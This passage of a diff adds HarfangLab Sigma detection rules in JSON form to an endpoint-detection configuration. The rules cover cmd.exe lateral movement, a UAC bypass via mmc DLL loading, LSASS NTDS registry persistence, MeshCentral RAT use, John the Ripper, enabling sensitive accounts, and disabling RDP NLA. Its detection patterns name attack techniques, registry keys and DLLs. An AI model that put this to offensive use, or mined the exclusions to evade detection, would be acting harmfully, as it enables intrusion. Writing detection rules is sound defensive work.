'*\\wsmprovhost.exe'\n        ProcessImage: '*\\cmd.exe'\n        CommandLine|re: '.* [/-]Q [/-]c .*'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c110eda5-b1c7-4bb4-9a9d-8a48bcc98222",
+  "rule_name": "Suspicious Lateral Movement",
+  "rule_description": "Detects a suspicious lateral movement where specifics cmd.exe arguments are used with mixed case.\nThe cmd.exe options /q and /c are commonly used to execute commands but in many offensive tools the two arguments are used with mixed case in a specific order.\nFor example this construction is used by tools such as Impacket, NetExec, CrackMapExec.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2023-12-20",
+  "rule_modified_date": "2025-03-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1021.003",
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c143a1ec-5597-4f0e-8998-2d80ce946637",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078704Z",
+  "creation_date": "2026-03-23T11:45:34.078706Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078711Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME"
+  ],
+  "name": "t1548_002_uac_bypass_mmc.yml",
+  "content": "title: UAC Bypass Executed via mmc\nid: c143a1ec-5597-4f0e-8998-2d80ce946637\ndescription: |\n    Detects an UAC bypass via mmc.exe.\n    This alert triggers on mmc.exe loading a dll in system32 directory which is not signed by Microsoft.\n    Known missing DLLs:\n        - Windows 7 to Windows 10 RS1: elsext.dll\n        - Windows 7 to Windows 10 RS3: WbemComn.dll\n        - Windows 7 to latest: duser.dll and osksupport.dll\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process that created the suspicious loaded DLL and the one that launched mmc.exe.\nreferences:\n    - https://github.com/hfiref0x/UACME\ndate: 2020/10/16\nmodified: 2025/05/06\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\Windows\\System32\\mmc.exe'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\elsext.dll'\n            - '?:\\Windows\\System32\\WbemComn.dll'\n            - '?:\\Windows\\System32\\duser.dll'\n            - '?:\\Windows\\System32\\osksupport.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature|contains:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_known_good_elsext:\n        ImageLoaded: '?:\\Windows\\System32\\elsext.dll'\n        sha256: '37d2061ba13ff7153f66f0e4828ddf8ed73e87b07a7a67fb4875768da69fbe0e'\n\n    exclusion_known_good_wbemcomn:\n        ImageLoaded: '?:\\Windows\\System32\\WbemComn.dll'\n        sha256:\n            - '2ef449149dbf52b1700304f8a3bda9c1060356f44dda6f47369c29cfd2b51dfe'\n            - 'a734a20357026c42950394682a52cbc3af956d09f1949e1b4e95467e999bc428'\n            - '7108bbae5b91ed6784bd32547f7bd9dead392e47acab29dc057aef7cfb746f3c'\n\n    exclusion_known_good_duser:\n        ImageLoaded: '?:\\Windows\\System32\\duser.dll'\n        sha256:\n            - '56f781cdcd03f6fa21b38f133bd1db902d53d9cf2708d12760d353346221351b'\n            - 'c7be8a83ef861073c9f9e510a579d42cfae6dd04a92bdd98273e0c8a99a413cc'\n            - 'dd663029b2eb7b12fdb00fce403d8326141e540e3b9ce84cd5871473d3e2e2cf'\n            - '5ebebe1220e070847677a3c3a91ea7a8cde663467335a9e7e801dffd97e14ec2'\n            - '9168110ef404bf179888af4a0f02b2817f020bfb16351778f2ddd6915c92f190'\n            - '12afc921ef64950e272cff3cd5ffe0d0667c4a1a47783b32a1cc15da91443fe3'\n            - '2dba9f60dad43c8abda1bf82f828ca544183bc2f67c0bc70f8743e31bbdb390d'\n            - 'bce6a4f5d0878a91a7e5fa0a962c0000efd5e9624c8cc3a4f3453413d3c7c842'\n\n    exclusion_opera:\n        ProcessImage|endswith: 'AppData\\Local\\Programs\\Opera\\opera.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c143a1ec-5597-4f0e-8998-2d80ce946637",
+  "rule_name": "UAC Bypass Executed via mmc",
+  "rule_description": "Detects an UAC bypass via mmc.exe.\nThis alert triggers on mmc.exe loading a dll in system32 directory which is not signed by Microsoft.\nKnown missing DLLs:\n    - Windows 7 to Windows 10 RS1: elsext.dll\n    - Windows 7 to Windows 10 RS3: WbemComn.dll\n    - Windows 7 to latest: duser.dll and osksupport.dll\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process that created the suspicious loaded DLL and the one that launched mmc.exe.\n",
+  "rule_creation_date": "2020-10-16",
+  "rule_modified_date": "2025-05-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c1464388-eec2-4bda-914f-afaab4ab765a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071856Z",
+  "creation_date": "2026-03-23T11:45:34.071858Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071862Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://redplait.blogspot.com/2015/02/lsasrvdlllsaploadlsadbextensiondll.html",
+    "https://blog.xpnsec.com/exploring-mimikatz-part-1/",
+    "https://twitter.com/SBousseaden/status/1183745981189427200"
+  ],
+  "name": "t1112_persistence_registry_lsass_ntds.yml",
+  "content": "title: LSASS NTDS Undocumented DLL Load Persistence Added\nid: c1464388-eec2-4bda-914f-afaab4ab765a\ndescription: |\n    Detects a modification of undocumented registry keys allowing to load arbitrary DLLs in LSASS.\n    Attackers may use these DLLs to execute arbitrary code in LSASS to access credentials or for persistence purposes.\n    It is recommended to analyze the specified DLL for malicious content and the process making the registry modification for any other suspicious actions.\nreferences:\n    - http://redplait.blogspot.com/2015/02/lsasrvdlllsaploadlsadbextensiondll.html\n    - https://blog.xpnsec.com/exploring-mimikatz-part-1/\n    - https://twitter.com/SBousseaden/status/1183745981189427200\ndate: 2020/10/02\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\LsaDbExtPt*'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPt*'\n\n    selection_rename:\n        EventType:\n            - 'RenameValue'\n            - 'RenameKey'\n        NewName:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\LsaDbExtPt*'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPt*'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_tiworker:\n        Image|endswith: '\\Windows\\WinSxS\\\\*\\tiworker.exe'\n\n    exclusion_lsadb:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\LsaDbExtPt'\n        Details: '?systemroot?\\system32\\lsadb.dll'\n\n    exclusion_ntdsa:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPt'\n        Details: '?systemroot?\\system32\\ntdsa.dll'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c1464388-eec2-4bda-914f-afaab4ab765a",
+  "rule_name": "LSASS NTDS Undocumented DLL Load Persistence Added",
+  "rule_description": "Detects a modification of undocumented registry keys allowing to load arbitrary DLLs in LSASS.\nAttackers may use these DLLs to execute arbitrary code in LSASS to access credentials or for persistence purposes.\nIt is recommended to analyze the specified DLL for malicious content and the process making the registry modification for any other suspicious actions.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c170382c-1feb-48e7-8335-32fbf5b27583",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082867Z",
+  "creation_date": "2026-03-23T11:45:34.082881Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082886Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1558861977379868672",
+    "https://meshcentral.com/info/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_suspicious_meshcentral_agent_execution.yml",
+  "content": "title: Suspicious MeshCentral Agent Execution\nid: c170382c-1feb-48e7-8335-32fbf5b27583\ndescription: |\n    Detects the suspicious execution of a MeshCentral agent being executed on the target host.\n    MeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\n    It is recommended to investigate how the Mesh Agent Service was installed.\nreferences:\n    - https://twitter.com/malmoeb/status/1558861977379868672\n    - https://meshcentral.com/info/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/08/23\nmodified: 2025/07/25\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.MeshCentral\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ProcessInternalName: 'MeshAgent'\n        - ProcessDescription: 'Mesh Agent Service'\n        - ProcessProduct: 'Mesh Agent Service'\n        - ProcessSignatureSignerIssuerName|startswith: 'MeshCentralRoot-'\n        - Image: '?:\\Program Files\\Mesh Agent\\MeshAgent.exe'\n\n    exclusion_tacticalrmm:\n        ParentImage:\n            - '?:\\Program Files\\TacticalAgent\\tacticalrmm.exe'\n            - '?:\\Program Files (x86)\\TacticalAgent\\tacticalrmm.exe'\n\n    exclusion_benign:\n        CommandLine:\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe --installedByUser=S-1-5-21-*'\n            - '?:\\Program Files (x86)\\Mesh Agent\\MeshAgent.exe --installedByUser=S-1-5-21-*'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe'\n            - '?:\\Program Files (x86)\\Mesh Agent\\MeshAgent.exe'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe -nodeid'\n            - '?:\\Program Files (x86)\\Mesh Agent\\MeshAgent.exe -nodeid'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.update.exe -b64exec *'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe -b64exec *'\n            - '-kvm1'\n            - '-kvm1 -coredump'\n            - '--slave'\n            - 'MeshAgent.exe -b64exec *'\n            - '?:\\Program Files\\Mesh Agent\\meshagent.exe state'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe -funinstall --meshServiceName=Mesh Agent'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe --WebProxy=*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c170382c-1feb-48e7-8335-32fbf5b27583",
+  "rule_name": "Suspicious MeshCentral Agent Execution",
+  "rule_description": "Detects the suspicious execution of a MeshCentral agent being executed on the target host.\nMeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\nIt is recommended to investigate how the Mesh Agent Service was installed.\n",
+  "rule_creation_date": "2022-08-23",
+  "rule_modified_date": "2025-07-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c187a1fd-f61c-421b-b453-2560ba9583c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613422Z",
+  "creation_date": "2026-03-23T11:45:34.613426Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613433Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/openwall/john",
+    "https://attack.mitre.org/techniques/T1110/001/",
+    "https://attack.mitre.org/techniques/T1110/002/",
+    "https://attack.mitre.org/techniques/T1110/003/",
+    "https://attack.mitre.org/techniques/T1110/004/",
+    "https://attack.mitre.org/techniques/T1003/008/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1110_002_john.yml",
+  "content": "title: John the Ripper Execution\nid: c187a1fd-f61c-421b-b453-2560ba9583c1\ndescription: |\n    Detects the execution of John the Ripper, an Open Source password cracker.\n    John the Ripper is a password-cracking tool that helps attackers identify weak or compromised passwords by performing brute-force and dictionary attacks.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/openwall/john\n    - https://attack.mitre.org/techniques/T1110/001/\n    - https://attack.mitre.org/techniques/T1110/002/\n    - https://attack.mitre.org/techniques/T1110/003/\n    - https://attack.mitre.org/techniques/T1110/004/\n    - https://attack.mitre.org/techniques/T1003/008/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2021/09/14\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1110.001\n    - attack.t1110.002\n    - attack.t1110.003\n    - attack.t1110.004\n    - attack.t1003.008\n    - attack.t1078\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.HackTool.John\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/john'\n            - '/unshadow'\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c187a1fd-f61c-421b-b453-2560ba9583c1",
+  "rule_name": "John the Ripper Execution",
+  "rule_description": "Detects the execution of John the Ripper, an Open Source password cracker.\nJohn the Ripper is a password-cracking tool that helps attackers identify weak or compromised passwords by performing brute-force and dictionary attacks.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2021-09-14",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.008",
+    "attack.t1078",
+    "attack.t1110.001",
+    "attack.t1110.002",
+    "attack.t1110.003",
+    "attack.t1110.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c1bddf11-5142-49af-a953-f8c3d1adc1a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621955Z",
+  "creation_date": "2026-03-23T11:45:34.621963Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621967Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1078/001/",
+    "https://attack.mitre.org/techniques/T1098/"
+  ],
+  "name": "t1564_net_enable_account.yml",
+  "content": "title: Sensitive User Account Enabled via net.exe\nid: c1bddf11-5142-49af-a953-f8c3d1adc1a0\ndescription: |\n    Detects a sensitive account being activated via net1.exe.\n    Adversaries may reactivate sensitive accounts such as Guest or local administrator and use them for persistence purposes.\n    It is recommended to investigate the process performing this action to determine its legitimacy and any suspicious authentications using the enabled account.\nreferences:\n    - https://attack.mitre.org/techniques/T1078/001/\n    - https://attack.mitre.org/techniques/T1098/\ndate: 2021/12/27\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1078.001\n    - attack.t1098\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_account:\n        CommandLine|contains: '/active:y'\n\n    selection_enable:\n        CommandLine|contains:\n            - 'administrator'\n            - 'administrateur'\n            - 'guest'\n            - 'invité'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_diane:\n        - ProcessGrandparentImage|endswith:\n            - '\\DianeUpdate.exe'\n            - '\\DiaUpdate.exe'\n          ProcessGrandparentSignature: 'BOW MEDICAL SAS'\n        - ProcessGrandparentImage|endswith:\n            - '\\DiaUpdate.exe'\n            - '\\DianeUpdate.exe'\n          ProcessGrandparentDescription: 'Application Diane'\n        - ProcessGrandparentImage|endswith:\n            - '\\DiaUpdate.exe'\n            - '\\DianeUpdate.exe'\n          ProcessGrandparentCompany: 'BOW MEDICAL'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Program Files\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe|?:\\Windows\\System32\\oobe\\windeploy.exe'\n            - '?:\\Program Files (x86)\\CentraStage\\CagService.exe|?:\\Windows\\System32\\services.exe'\n            - '?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-?\\PDQDeployRunner-?.exe'\n            - '?:\\Program Files (x86)\\\\*\\winpty-agent.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c1bddf11-5142-49af-a953-f8c3d1adc1a0",
+  "rule_name": "Sensitive User Account Enabled via net.exe",
+  "rule_description": "Detects a sensitive account being activated via net1.exe.\nAdversaries may reactivate sensitive accounts such as Guest or local administrator and use them for persistence purposes.\nIt is recommended to investigate the process performing this action to determine its legitimacy and any suspicious authentications using the enabled account.\n",
+  "rule_creation_date": "2021-12-27",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c2271b8c-4c7c-4704-8b7c-2780abf2d9d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620476Z",
+  "creation_date": "2026-03-23T11:45:34.620478Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620482Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/cannot-connect-rdp-azure-vm",
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1021/001/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1112_nla_disable.yml",
+  "content": "title: NLA for Remote Desktop Services Disabled\nid: c2271b8c-4c7c-4704-8b7c-2780abf2d9d2\ndescription: |\n    Detects when the Network Level Authentication (NLA) for Remote Desktop Services (RDP) is disabled via a registry modification.\n    NLA is a feature of Remote Desktop Services that requires the connecting user to authenticate themselves before a session is established.\n    Adversaries can use this technique to allow themselves to arbitrarily connect to hosts via RDP.\n    It is recommended to analyze the process responsible for the disabling of NLA to determine its legitimacy and to look for subsequent suspicious RDP sessions on this host.\nreferences:\n    - https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/cannot-connect-rdp-azure-vm\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1021/001/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/01/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1562.001\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject:\n          - 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\\UserAuthentication'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication'\n        Details:\n            - 'DWORD (0x00000000)'\n            - 'QWORD (0x00000000-0x00000000)'\n        # Parent information of a process can be missing.\n        ProcessParentImage|contains: '?'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_schedule:\n        ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_windeploy:\n        ProcessCommandLine:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\windeploy.exe'\n\n    exclusion_systemproperties:\n        ProcessImage:\n            - '?:\\Windows\\System32\\SystemSettingsAdminFlows.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesRemote.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesAdvanced.exe'\n            - 